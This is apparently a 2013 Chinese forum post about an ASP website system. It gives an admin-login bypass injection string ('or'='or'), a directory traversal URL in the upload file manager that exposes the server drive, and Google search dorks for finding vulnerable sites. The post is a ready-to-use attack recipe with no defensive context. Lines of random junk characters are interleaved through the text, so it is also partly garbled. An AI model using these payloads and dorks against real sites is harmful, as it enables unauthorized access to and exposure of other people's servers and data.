后台万能密码 'or'='or'
1 A( G' Z# }4 n& d% c- P
- D6 f" P# e, `4 x+ ^后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
$ L E; l" V; _8 { h8 Vadmin/uploadfile.asp?currentFolder=/upfiles/../
, z n* I* i# c) {2 Y) [& z O; X" o+ {8 O* W
漏洞证明：
% ]7 l: t! U0 I; _/ b _6 n
& O# W' Q5 b2 [. r谷歌：inurl:type.asp?id=1 新闻中心) {6 N2 w" H' X8 G- O& `, W7 W7 S
或者 ：inurl:download_ok.asp?
% z" @ @1 Y) Y3 q, f& m, M0 I& O: q& I
|
发表于 2013-3-14 20:17:32
收藏
支持
反对